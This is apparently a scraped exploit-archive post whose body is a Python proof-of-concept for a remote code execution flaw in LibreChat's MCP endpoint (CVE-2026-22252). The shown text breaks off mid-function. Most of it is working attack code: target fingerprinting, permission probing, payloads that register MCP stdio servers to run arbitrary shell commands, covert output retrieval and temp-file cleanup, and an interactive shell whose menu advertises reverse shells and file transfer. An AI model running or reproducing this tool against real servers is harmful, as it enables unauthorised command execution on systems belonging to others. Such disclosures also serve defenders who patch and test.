{"id":38350,"date":"2026-01-30T12:54:22","date_gmt":"2026-01-30T12:54:22","guid":{"rendered":"http:\/\/localhost\/?p=38350"},"modified":"2026-01-30T12:54:22","modified_gmt":"2026-01-30T12:54:22","slug":"librechat-mcp-082-rc2-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=38350","title":{"rendered":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214609"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-30T17:50:33&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploit targets the LibreChat MCP remote code execution vulnerability known as CVE-2026-22252. It provides a comprehensive and professional framework for detecting, testing, and exploiting the vulnerability with multiple&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-30T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-30T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214609&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-22252&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : LibreChat MCP 0.8.2-rc2 RCE Exploit                                                                                         |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.librechat.ai\/                                                                                                   |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/213714\/ \\u0026 \\tCVE-2026-22252\\n    \\n    [+] Summary    :  exploit targets the LibreChat MCP Remote Code Execution vulnerability (CVE-2026-22252). \\n                      It provides a comprehensive and professional framework for detecting, testing, and exploiting the vulnerability with multiple extraction modes.\\n    [+] Key Features:\\n    \\n    Target Discovery: Detects LibreChat installations, extracts version, OS type, shell, CSRF status, and public writable paths.\\n    \\n    MCP Interaction: Checks MCP endpoint availability, determines required permissions, and supports command execution with optional token-based authentication.\\n    \\n    Command Execution: Executes system commands safely using multiple extraction modes: direct, file, network, or base64 encoded.\\n    \\n    Vulnerability Testing: Performs safe and thorough tests with verification of results.\\n    \\n    Interactive Shell: Provides a CLI interface with command history, status display, file upload\/download, reverse shell creation, and rate limiting.\\n    \\n    Cross-Platform Support: Works on Linux, macOS, and Windows with adaptive shell commands.\\n    \\n    Logging \\u0026 Debugging: Detailed logs saved locally and on-screen, with verbose mode for troubleshooting.\\n    \\n    [+] POC :\\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import json\\n    import sys\\n    import re\\n    import time\\n    import argparse\\n    import signal\\n    import os\\n    import random\\n    import string\\n    from typing import Optional, Dict, Any, Tuple, List\\n    from dataclasses import dataclass\\n    from enum import Enum\\n    import logging\\n    from urllib.parse import urljoin, urlparse\\n    from pathlib import Path\\n    import hashlib\\n    \\n    logging.basicConfig(\\n        level=logging.INFO,\\n        format=&#8217;%(asctime)s &#8211; %(levelname)s &#8211; %(message)s&#8217;,\\n        handlers=[\\n            logging.StreamHandler(),\\n            logging.FileHandler(&#8216;librechat_exploit.log&#8217;)\\n        ]\\n    )\\n    logger = logging.getLogger(__name__)\\n    \\n    class TransportType(Enum):\\n        \\&#8221;\\&#8221;\\&#8221;Supported transport types\\&#8221;\\&#8221;\\&#8221;\\n        STDIO = \\&#8221;stdio\\&#8221;\\n        SSE = \\&#8221;sse\\&#8221;\\n        HTTP = \\&#8221;http\\&#8221;\\n    \\n    class ExploitMode(Enum):\\n        \\&#8221;\\&#8221;\\&#8221;Output extraction methods\\&#8221;\\&#8221;\\&#8221;\\n        DIRECT = \\&#8221;direct\\&#8221;\\n        FILE = \\&#8221;file\\&#8221;\\n        NETWORK = \\&#8221;network\\&#8221;\\n        ENCODED = \\&#8221;encoded\\&#8221;\\n    \\n    @dataclass\\n    class AuthResult:\\n        \\&#8221;\\&#8221;\\&#8221;Authentication result\\&#8221;\\&#8221;\\&#8221;\\n        success: bool\\n        token: Optional[str] = None\\n        cookies: Optional[Dict] = None\\n        session_id: Optional[str] = None\\n        csrf_token: Optional[str] = None\\n        user_role: str = \\&#8221;user\\&#8221;\\n        permissions: List[str] = None\\n        message: str = \\&#8221;\\&#8221;\\n    \\n    @dataclass\\n    class TargetInfo:\\n        \\&#8221;\\&#8221;\\&#8221;Target system information\\&#8221;\\&#8221;\\&#8221;\\n        is_librechat: bool = False\\n        version: Optional[str] = None\\n        csrf_enabled: bool = False\\n        mcp_available: bool = False\\n        mcp_requires_admin: bool = False\\n        public_paths: List[str] = None\\n        os_type: str = \\&#8221;linux\\&#8221;\\n        shell_type: str = \\&#8221;sh\\&#8221;\\n    \\n    class LibreChatExploit:\\n        def __init__(self, target_url: str, timeout: int = 30):\\n            self.target_url = target_url.rstrip(&#8216;\/&#8217;)\\n            self.timeout = timeout\\n            self.target_info = TargetInfo()\\n            self.session = requests.Session()\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36&#8217;,\\n                &#8216;Accept&#8217;: &#8216;application\/json, text\/plain, *\/*&#8217;,\\n                &#8216;Accept-Language&#8217;: &#8216;en-US,en;q=0.5&#8217;,\\n                &#8216;Connection&#8217;: &#8216;keep-alive&#8217;,\\n            })\\n            \\n            self.auth_result = AuthResult(success=False, permissions=[])\\n            self.csrf_token = None\\n            \\n        def _extract_csrf_token(self, response_text: str) -\\u003e Optional[str]:\\n            \\&#8221;\\&#8221;\\&#8221;Extract CSRF token from HTML or JSON\\&#8221;\\&#8221;\\&#8221;\\n            patterns = [\\n                r&#8217;name=\\&#8221;csrfToken\\&#8221; value=\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;,\\n                r&#8217;\\&#8221;csrfToken\\&#8221;:\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;,\\n                r&#8217;window\\\\.csrfToken = \\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;,\\n                r&#8217;\\u003cmeta name=\\&#8221;csrf-token\\&#8221; content=\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;,\\n            ]\\n            \\n            for pattern in patterns:\\n                match = re.search(pattern, response_text)\\n                if match:\\n                    return match.group(1)\\n            if &#8216;csrf_token&#8217; in self.session.cookies:\\n                return self.session.cookies.get(&#8216;csrf_token&#8217;)\\n            \\n            return None\\n        \\n        def _generate_random_string(self, length: int = 8) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Generate random string\\&#8221;\\&#8221;\\&#8221;\\n            return &#8221;.join(random.choices(string.ascii_lowercase + string.digits, k=length))\\n        \\n        def _detect_public_paths(self) -\\u003e List[str]:\\n            \\&#8221;\\&#8221;\\&#8221;Detect available public paths\\&#8221;\\&#8221;\\&#8221;\\n            common_public_paths = [\\n                &#8216;\/images\/&#8217;,\\n                &#8216;\/public\/&#8217;,\\n                &#8216;\/static\/&#8217;,\\n                &#8216;\/assets\/&#8217;,\\n                &#8216;\/uploads\/&#8217;,\\n                &#8216;\/media\/&#8217;,\\n                &#8216;\/files\/&#8217;,\\n                &#8216;\/downloads\/&#8217;,\\n            ]\\n            \\n            available_paths = []\\n            \\n            for path in common_public_paths:\\n                try:\\n                    response = self.session.get(\\n                        urljoin(self.target_url, path),\\n                        timeout=5,\\n                        allow_redirects=False\\n                    )\\n                    if response.status_code in [200, 301, 302, 403]:\\n                        available_paths.append(path)\\n                        logger.debug(f\\&#8221;Found public path: {path}\\&#8221;)\\n                        \\n                except Exception as e:\\n                    logger.debug(f\\&#8221;Path check {path} failed: {e}\\&#8221;)\\n                    continue\\n            \\n            return available_paths\\n        \\n        def _detect_os_and_shell(self) -\\u003e Tuple[str, str]:\\n            \\&#8221;\\&#8221;\\&#8221;Detect operating system and shell type\\&#8221;\\&#8221;\\&#8221;\\n            os_type = \\&#8221;linux\\&#8221;\\n            shell_type = \\&#8221;sh\\&#8221;\\n            \\n            return os_type, shell_type\\n        \\n        def check_target(self) -\\u003e Tuple[bool, str]:\\n            \\&#8221;\\&#8221;\\&#8221;Comprehensive target check\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                response = self.session.get(\\n                    self.target_url,\\n                    timeout=self.timeout\\n                )\\n                \\n                if response.status_code != 200:\\n                    return False, f\\&#8221;Server unavailable (HTTP {response.status_code})\\&#8221;\\n                html_content = response.text\\n                librechat_indicators = [\\n                    &#8216;LibreChat&#8217;,\\n                    &#8216;librechat&#8217;,\\n                    &#8216;Evo&#8217;,\\n                    &#8216;next\/head&#8217;,\\n                    &#8216;authToken&#8217;,\\n                    &#8216;conversationId&#8217;,\\n                ]\\n                \\n                is_librechat = any(indicator.lower() in html_content.lower() \\n                                 for indicator in librechat_indicators)\\n                \\n                if not is_librechat:\\n                    return False, \\&#8221;This may not be a LibreChat server\\&#8221;\\n                \\n                self.target_info.is_librechat = True\\n                version_patterns = [\\n                    r&#8217;\\&#8221;version\\&#8221;:\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;,\\n                    r&#8217;librechat-([\\\\d\\\\.]+)&#8217;,\\n                    r&#8217;v(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)&#8217;,\\n                    r&#8217;Version\\\\s+([\\\\d\\\\.]+)&#8217;,\\n                ]\\n                \\n                for pattern in version_patterns:\\n                    match = re.search(pattern, html_content, re.IGNORECASE)\\n                    if match:\\n                        self.target_info.version = match.group(1)\\n                        break\\n                self.csrf_token = self._extract_csrf_token(html_content)\\n                if self.csrf_token:\\n                    self.session.headers.update({&#8216;X-CSRF-Token&#8217;: self.csrf_token})\\n                    self.target_info.csrf_enabled = True\\n                self.target_info.public_paths = self._detect_public_paths()\\n                self.target_info.os_type, self.target_info.shell_type = self._detect_os_and_shell()\\n                \\n                return True, f\\&#8221;LibreChat {self.target_info.version if self.target_info.version else &#8216;unknown&#8217;}\\&#8221;\\n                \\n            except requests.RequestException as e:\\n                return False, f\\&#8221;Connection error: {e}\\&#8221;\\n            except Exception as e:\\n                logger.error(f\\&#8221;Unexpected error in target check: {e}\\&#8221;)\\n                return False, f\\&#8221;Check error: {e}\\&#8221;\\n        \\n        def _get_user_permissions(self) -\\u003e List[str]:\\n            \\&#8221;\\&#8221;\\&#8221;Get user permissions\\&#8221;\\&#8221;\\&#8221;\\n            permissions = []\\n            check_endpoints = [\\n                (&#8216;\/api\/admin&#8217;, &#8216;admin_access&#8217;),\\n                (&#8216;\/api\/mcp\/servers&#8217;, &#8216;mcp_access&#8217;),\\n                (&#8216;\/api\/users&#8217;, &#8216;user_management&#8217;),\\n                (&#8216;\/api\/settings&#8217;, &#8216;settings_access&#8217;),\\n            ]\\n            \\n            for endpoint, perm_name in check_endpoints:\\n                try:\\n                    url = urljoin(self.target_url, endpoint)\\n                    response = self.session.get(url, timeout=10)\\n                    \\n                    if response.status_code == 200:\\n                        permissions.append(perm_name)\\n                    elif response.status_code == 403:\\n                        permissions.append(f\\&#8221;{perm_name}_denied\\&#8221;)\\n                    elif response.status_code == 404:\\n                        pass\\n                        \\n                except Exception as e:\\n                    logger.debug(f\\&#8221;Permission check {perm_name} failed: {e}\\&#8221;)\\n            \\n            return permissions\\n        \\n        def check_mcp_endpoint(self) -\\u003e Tuple[bool, str]:\\n            \\&#8221;\\&#8221;\\&#8221;Check MCP endpoint and permissions\\&#8221;\\&#8221;\\&#8221;\\n            mcp_url = urljoin(self.target_url, &#8216;\/api\/mcp\/servers&#8217;)\\n            \\n            try:\\n                response = self.session.get(mcp_url, timeout=self.timeout)\\n                \\n                if response.status_code == 401:\\n                    logger.debug(\\&#8221;MCP requires authentication\\&#8221;)\\n                elif response.status_code == 403:\\n                    self.target_info.mcp_requires_admin = True\\n                    return False, \\&#8221;Requires admin privileges\\&#8221;\\n                elif response.status_code == 404:\\n                    alt_paths = [&#8216;\/api\/v1\/mcp\/servers&#8217;, &#8216;\/api\/v2\/mcp\/servers&#8217;, &#8216;\/mcp\/api\/servers&#8217;]\\n                    for path in alt_paths:\\n                        alt_url = urljoin(self.target_url, path)\\n                        try:\\n                            alt_response = self.session.get(alt_url, timeout=5)\\n                            if alt_response.status_code \\u003c 400:\\n                                mcp_url = alt_url\\n                                break\\n                        except:\\n                            continue\\n                if self.auth_result.success:\\n                    headers = {}\\n                    if self.auth_result.token:\\n                        headers[&#8216;Authorization&#8217;] = f\\&#8221;Bearer {self.auth_result.token}\\&#8221;\\n                    \\n                    response = self.session.get(mcp_url, headers=headers, timeout=self.timeout)\\n                    \\n                    if response.status_code == 200:\\n                        self.target_info.mcp_available = True\\n                        try:\\n                            test_payload = {\\n                                \\&#8221;config\\&#8221;: {\\n                                    \\&#8221;type\\&#8221;: \\&#8221;stdio\\&#8221;,\\n                                    \\&#8221;title\\&#8221;: \\&#8221;permission_test\\&#8221;,\\n                                    \\&#8221;command\\&#8221;: \\&#8221;echo\\&#8221;,\\n                                    \\&#8221;args\\&#8221;: [\\&#8221;test\\&#8221;]\\n                                }\\n                            }\\n                            \\n                            test_response = self.session.post(\\n                                mcp_url,\\n                                json=test_payload,\\n                                headers=headers,\\n                                timeout=self.timeout\\n                            )\\n                            \\n                            if test_response.status_code in [200, 201]:\\n                                return True, \\&#8221;Available for read\/write\\&#8221;\\n                            elif test_response.status_code == 403:\\n                                self.target_info.mcp_requires_admin = True\\n                                return False, \\&#8221;Requires admin privileges for write\\&#8221;\\n                            else:\\n                                return True, f\\&#8221;Read only (POST: {test_response.status_code})\\&#8221;\\n                                \\n                        except Exception as e:\\n                            logger.debug(f\\&#8221;MCP permission test failed: {e}\\&#8221;)\\n                            return True, \\&#8221;Available (write test failed)\\&#8221;\\n                    \\n                    elif response.status_code == 403:\\n                        self.target_info.mcp_requires_admin = True\\n                        return False, \\&#8221;Forbidden &#8211; requires higher privileges\\&#8221;\\n                    \\n                    elif response.status_code == 404:\\n                        return False, \\&#8221;Endpoint not found\\&#8221;\\n                \\n                return False, f\\&#8221;Unknown status: {response.status_code}\\&#8221;\\n                    \\n            except Exception as e:\\n                logger.error(f\\&#8221;MCP check error: {e}\\&#8221;)\\n                return False, f\\&#8221;Connection error: {e}\\&#8221;\\n        \\n        def execute_command(self, command: str, exfil_mode: ExploitMode = ExploitMode.DIRECT) -\\u003e Tuple[bool, str, Optional[str]]:\\n            \\&#8221;\\&#8221;\\&#8221;Execute command with multiple output extraction options\\&#8221;\\&#8221;\\&#8221;\\n            if not self.auth_result.success:\\n                return False, \\&#8221;Unauthorized\\&#8221;, None\\n            final_command = self._prepare_command(command, exfil_mode)\\n            mcp_url = urljoin(self.target_url, &#8216;\/api\/mcp\/servers&#8217;)\\n            \\n            headers = {\\n                \\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;,\\n            }\\n            \\n            if self.auth_result.token:\\n                headers[&#8216;Authorization&#8217;] = f\\&#8221;Bearer {self.auth_result.token}\\&#8221;\\n            \\n            if self.csrf_token:\\n                headers[&#8216;X-CSRF-Token&#8217;] = self.csrf_token\\n            \\n            payload = {\\n                \\&#8221;config\\&#8221;: {\\n                    \\&#8221;type\\&#8221;: \\&#8221;stdio\\&#8221;,\\n                    \\&#8221;title\\&#8221;: f\\&#8221;cmd_{self._generate_random_string()}\\&#8221;,\\n                    \\&#8221;command\\&#8221;: self._get_shell_path(),\\n                    \\&#8221;args\\&#8221;: [\\&#8221;-c\\&#8221;, final_command]\\n                }\\n            }\\n            \\n            try:\\n                logger.info(f\\&#8221;Sending command via MCP&#8230;\\&#8221;)\\n                response = self.session.post(\\n                    mcp_url,\\n                    json=payload,\\n                    headers=headers,\\n                    timeout=self.timeout\\n                )\\n                \\n                if response.status_code in [200, 201]:\\n                    output = self._retrieve_output(command, exfil_mode)\\n                    return True, \\&#8221;Command executed successfully\\&#8221;, output\\n                else:\\n                    error_msg = f\\&#8221;Execution failed: {response.status_code}\\&#8221;\\n                    if response.text:\\n                        error_msg += f\\&#8221; &#8211; {response.text[:200]}\\&#8221;\\n                    return False, error_msg, None\\n                    \\n            except requests.Timeout:\\n                return False, \\&#8221;Timeout &#8211; command may still be executing\\&#8221;, None\\n            except Exception as e:\\n                logger.error(f\\&#8221;Execution error: {e}\\&#8221;)\\n                return False, f\\&#8221;Error: {e}\\&#8221;, None\\n        \\n        def _prepare_command(self, command: str, exfil_mode: ExploitMode) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Prepare command based on extraction method\\&#8221;\\&#8221;\\&#8221;\\n            random_suffix = self._generate_random_string()\\n            \\n            if exfil_mode == ExploitMode.DIRECT:\\n                return f\\&#8221;({command}) 2\\u003e\\u00261\\&#8221;\\n            \\n            elif exfil_mode == ExploitMode.FILE:\\n                temp_file = f\\&#8221;\/tmp\/cmd_out_{random_suffix}.txt\\&#8221;\\n                return f\\&#8221;({command}) 2\\u003e\\u00261 \\u003e {temp_file} \\u0026\\u0026 echo &#8216;OUTPUT_SAVED:{temp_file}&#8217;\\&#8221;\\n            \\n            elif exfil_mode == ExploitMode.NETWORK:\\n                return f\\&#8221;({command}) 2\\u003e\\u00261 | base64\\&#8221;\\n            \\n            elif exfil_mode == ExploitMode.ENCODED:\\n                return f\\&#8221;echo &#8216;START_OUTPUT&#8217; \\u0026\\u0026 ({command}) 2\\u003e\\u00261 | base64 -w0 \\u0026\\u0026 echo &#8216;END_OUTPUT&#8217;\\&#8221;\\n            \\n            return f\\&#8221;({command}) 2\\u003e\\u00261\\&#8221;\\n        \\n        def _get_shell_path(self) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Get appropriate shell path\\&#8221;\\&#8221;\\&#8221;\\n            if self.target_info.os_type == \\&#8221;windows\\&#8221;:\\n                return \\&#8221;cmd.exe\\&#8221;\\n            elif self.target_info.shell_type == \\&#8221;bash\\&#8221;:\\n                return \\&#8221;\/bin\/bash\\&#8221;\\n            else:\\n                return \\&#8221;\/bin\/sh\\&#8221;\\n        \\n        def _retrieve_output(self, original_command: str, exfil_mode: ExploitMode) -\\u003e Optional[str]:\\n            \\&#8221;\\&#8221;\\&#8221;Retrieve command output\\&#8221;\\&#8221;\\&#8221;\\n            output = None\\n            \\n            try:\\n                if exfil_mode == ExploitMode.DIRECT:\\n                    pass\\n                \\n                elif exfil_mode == ExploitMode.FILE:\\n                    find_cmd = f\\&#8221;find \/tmp -name &#8216;*cmd_out_*.txt&#8217; -mmin -1 2\\u003e\/dev\/null | head -5\\&#8221;\\n                    success, files_output = self._execute_simple_command(find_cmd)\\n                    \\n                    if success and files_output:\\n                        for line in files_output.split(&#8216;\\\\n&#8217;):\\n                            if line.strip():\\n                                read_cmd = f\\&#8221;cat {line.strip()} 2\\u003e\/dev\/null \\u0026\\u0026 rm -f {line.strip()}\\&#8221;\\n                                success, content = self._execute_simple_command(read_cmd)\\n                                if success:\\n                                    output = content\\n                                    break\\n                \\n                elif exfil_mode == ExploitMode.ENCODED:\\n                    log_cmds = [\\n                        \\&#8221;dmesg | tail -20 2\\u003e\/dev\/null\\&#8221;,\\n                        \\&#8221;journalctl &#8211;no-pager -n 20 2\\u003e\/dev\/null\\&#8221;,\\n                        \\&#8221;cat \/var\/log\/syslog 2\\u003e\/dev\/null | tail -20\\&#8221;,\\n                    ]\\n                    \\n                    for log_cmd in log_cmds:\\n                        success, log_output = self._execute_simple_command(log_cmd)\\n                        if success and \\&#8221;START_OUTPUT\\&#8221; in log_output:\\n                            start = log_output.find(\\&#8221;START_OUTPUT\\&#8221;) + len(\\&#8221;START_OUTPUT\\&#8221;)\\n                            end = log_output.find(\\&#8221;END_OUTPUT\\&#8221;)\\n                            if end \\u003e start:\\n                                encoded = log_output[start:end].strip()\\n                                try:\\n                                    import base64\\n                                    output = base64.b64decode(encoded).decode(&#8216;utf-8&#8242;, errors=&#8217;ignore&#8217;)\\n                                except:\\n                                    output = encoded\\n                            break\\n            \\n            except Exception as e:\\n                logger.debug(f\\&#8221;Output retrieval failed: {e}\\&#8221;)\\n            \\n            return output\\n        \\n        def _execute_simple_command(self, command: str) -\\u003e Tuple[bool, str]:\\n            \\&#8221;\\&#8221;\\&#8221;Execute simple command (for extraction)\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                success, msg, output = self.execute_command(\\n                    command, \\n                    exfil_mode=ExploitMode.ENCODED\\n                )\\n                return success, output if output else \\&#8221;\\&#8221;\\n            except:\\n                return False, \\&#8221;\\&#8221;\\n        \\n        def test_vulnerability(self) -\\u003e Tuple[bool, str, Optional[str]]:\\n            \\&#8221;\\&#8221;\\&#8221;Test vulnerability accurately and safely\\&#8221;\\&#8221;\\&#8221;\\n            test_id = self._generate_random_string(12)\\n            test_file = f\\&#8221;\/tmp\/librechat_test_{test_id}.txt\\&#8221;\\n            test_command = f\\&#8221;\\&#8221;\\&#8221;\\n            echo \\&#8221;=== TEST START {test_id} ===\\&#8221; \\u0026\\u0026 \\n            id \\u0026\\u0026 \\n            echo \\&#8221;&#8212;\\&#8221; \\u0026\\u0026 \\n            whoami \\u0026\\u0026 \\n            echo \\&#8221;&#8212;\\&#8221; \\u0026\\u0026 \\n            pwd \\u0026\\u0026 \\n            echo \\&#8221;&#8212;\\&#8221; \\u0026\\u0026 \\n            uname -a \\u0026\\u0026 \\n            echo \\&#8221;=== TEST END {test_id} ===\\&#8221;\\n            \\&#8221;\\&#8221;\\&#8221;\\n            \\n            logger.info(f\\&#8221;Testing vulnerability (ID: {test_id})&#8230;\\&#8221;)\\n            for exfil_mode in [ExploitMode.ENCODED, ExploitMode.FILE, ExploitMode.DIRECT]:\\n                logger.debug(f\\&#8221;Trying method: {exfil_mode.value}\\&#8221;)\\n                \\n                success, message, output = self.execute_command(test_command, exfil_mode)\\n                \\n                if success:\\n                    logger.info(f\\&#8221;[ok] Execution successful with {exfil_mode.value}\\&#8221;)\\n                    \\n                    if output:\\n    \\n                        if test_id in output:\\n                            logger.info(f\\&#8221;[ok] Results verified\\&#8221;)\\n                            return True, f\\&#8221;Vulnerability exists and exploitable (method: {exfil_mode.value})\\&#8221;, output\\n                        else:\\n                            logger.debug(\\&#8221;Results don&#8217;t contain expected identifier\\&#8221;)\\n    \\n                    return True, f\\&#8221;Vulnerability exists (execution successful)\\&#8221;, output\\n                time.sleep(1) \\n            file_test_command = f\\&#8221;echo &#8216;VULN_TEST_{test_id}&#8217; \\u003e {test_file}\\&#8221;\\n            check_command = f\\&#8221;cat {test_file} 2\\u003e\/dev\/null \\u0026\\u0026 rm -f {test_file}\\&#8221;\\n            \\n            success1, msg1, _ = self.execute_command(file_test_command, ExploitMode.DIRECT)\\n            time.sleep(1)\\n            success2, msg2, output = self.execute_command(check_command, ExploitMode.ENCODED)\\n            \\n            if success1 and success2 and output and f\\&#8221;VULN_TEST_{test_id}\\&#8221; in output:\\n                return True, \\&#8221;Vulnerability exists (file test successful)\\&#8221;, output\\n            \\n            return False, \\&#8221;Vulnerability not found or not exploitable\\&#8221;, None\\n    \\n    class InteractiveExploitShell:\\n        \\&#8221;\\&#8221;\\&#8221;Enhanced interactive interface\\&#8221;\\&#8221;\\&#8221;\\n        def __init__(self, exploit: LibreChatExploit):\\n            self.exploit = exploit\\n            self.running = True\\n            self.command_history = []\\n            self.session_id = hashlib.md5(str(time.time()).encode()).hexdigest()[:8]\\n            signal.signal(signal.SIGINT, self._signal_handler)\\n            signal.signal(signal.SIGTERM, self._signal_handler)\\n            self.rate_limit = 1.0  \\n            self.last_command_time = 0\\n            self.output_mode = ExploitMode.ENCODED\\n            \\n        def _signal_handler(self, signum, frame):\\n            \\&#8221;\\&#8221;\\&#8221;Handle system signals\\&#8221;\\&#8221;\\&#8221;\\n            logger.info(f\\&#8221;\\\\n[!] Received signal {signum} &#8211; safe termination&#8230;\\&#8221;)\\n            self.running = False\\n        \\n        def _check_rate_limit(self):\\n            \\&#8221;\\&#8221;\\&#8221;Check rate limiting\\&#8221;\\&#8221;\\&#8221;\\n            current_time = time.time()\\n            time_since_last = current_time &#8211; self.last_command_time\\n            \\n            if time_since_last \\u003c self.rate_limit:\\n                sleep_time = self.rate_limit &#8211; time_since_last\\n                logger.debug(f\\&#8221;Rate limiting: wait {sleep_time:.2f} seconds\\&#8221;)\\n                time.sleep(sleep_time)\\n        \\n        def _cleanup_temp_files(self):\\n            \\&#8221;\\&#8221;\\&#8221;Clean up temporary files if possible\\&#8221;\\&#8221;\\&#8221;\\n            cleanup_cmd = \\&#8221;find \/tmp -name &#8216;*librechat_*&#8217; -mmin +5 -delete 2\\u003e\/dev\/null\\&#8221;\\n            self.exploit.execute_command(cleanup_cmd, ExploitMode.DIRECT)\\n        \\n        def run(self):\\n            \\&#8221;\\&#8221;\\&#8221;Run interactive interface\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{&#8216;=&#8217;*60}\\&#8221;)\\n            print(f\\&#8221;LibreChat MCP RCE &#8211; Session: {self.session_id}\\&#8221;)\\n            print(f\\&#8221;Target: {self.exploit.target_url}\\&#8221;)\\n            print(f\\&#8221;User: {self.exploit.auth_result.user_role}\\&#8221;)\\n            print(f\\&#8221;{&#8216;=&#8217;*60}\\&#8221;)\\n            print(\\&#8221;Type &#8216;help&#8217; for full menu\\&#8221;)\\n            \\n            while self.running:\\n                try:\\n                    self._check_rate_limit()\\n    \\n                    prompt = f\\&#8221;\\\\nexploit[{self.session_id}]\\u003e \\&#8221;\\n                    try:\\n                        cmd = input(prompt).strip()\\n                    except (EOFError, KeyboardInterrupt):\\n                        print(\\&#8221;\\\\n[*] Ending session&#8230;\\&#8221;)\\n                        break\\n                    \\n                    if not cmd:\\n                        continue\\n                    \\n                    self.last_command_time = time.time()\\n                    self.command_history.append(cmd)\\n    \\n                    if len(self.command_history) \\u003e 50:\\n                        self.command_history.pop(0)\\n    \\n                    if self._handle_special_commands(cmd):\\n                        continue\\n    \\n                    self._execute_user_command(cmd)\\n                    \\n                except Exception as e:\\n                    logger.error(f\\&#8221;Interactive interface error: {e}\\&#8221;)\\n                    time.sleep(0.5)\\n    \\n            self._cleanup_temp_files()\\n            print(f\\&#8221;\\\\n[*] Ending session {self.session_id}\\&#8221;)\\n        \\n        def _handle_special_commands(self, cmd: str) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Handle special commands\\&#8221;\\&#8221;\\&#8221;\\n            cmd_lower = cmd.lower().strip()\\n            \\n            if cmd_lower == &#8216;exit&#8217; or cmd_lower == &#8216;quit&#8217;:\\n                self.running = False\\n                return True\\n            \\n            elif cmd_lower == &#8216;help&#8217;:\\n                self._show_help()\\n                return True\\n            \\n            elif cmd_lower == &#8216;history&#8217;:\\n                self._show_history()\\n                return True\\n            \\n            elif cmd_lower == &#8216;status&#8217;:\\n                self._show_status()\\n                return True\\n            \\n            elif cmd_lower == &#8216;mode&#8217;:\\n                self._change_output_mode()\\n                return True\\n            \\n            elif cmd_lower == &#8216;clear&#8217;:\\n                os.system(&#8216;clear&#8217; if os.name != &#8216;nt&#8217; else &#8216;cls&#8217;)\\n                return True\\n            \\n            elif cmd_lower.startswith(&#8216;shell &#8216;):\\n                self._handle_reverse_shell(cmd)\\n                return True\\n            \\n            elif cmd_lower.startswith(&#8216;upload &#8216;):\\n                self._handle_file_upload(cmd)\\n                return True\\n            \\n            elif cmd_lower.startswith(&#8216;download &#8216;):\\n                self._handle_file_download(cmd)\\n                return True\\n            \\n            return False\\n        \\n        def _show_help(self):\\n            \\&#8221;\\&#8221;\\&#8221;Show help menu\\&#8221;\\&#8221;\\&#8221;\\n            help_text = \\&#8221;\\&#8221;\\&#8221;\\n            \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n            \u2551           LibreChat RCE Commands by indoushka            \u2551\\n            \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n            \\n             Basic Commands:\\n              help                    Show this menu\\n              exit \/ quit             Exit session\\n              status                  Show system status\\n              history                 Show command history\\n              clear                   Clear screen\\n              mode                    Change output display method\\n            \\n             Advanced Commands:\\n              shell [LHOST] [LPORT]   Create reverse shell\\n              upload [local] [remote] Upload file\\n              download [remote] [local] Download file\\n            \\n             System Exploration:\\n              pwd                     Current directory\\n              ls [path]               List files\\n              cat [file]              Show file content\\n            \\n             Information Gathering:\\n              id                      User information\\n              whoami                  Username\\n              uname -a                System info\\n              ps aux                  Running processes\\n            \\n              Note: Use &#8216;;&#8217; to separate multiple commands\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(help_text)\\n        \\n        def _show_history(self):\\n            \\&#8221;\\&#8221;\\&#8221;Show command history\\&#8221;\\&#8221;\\&#8221;\\n            if not 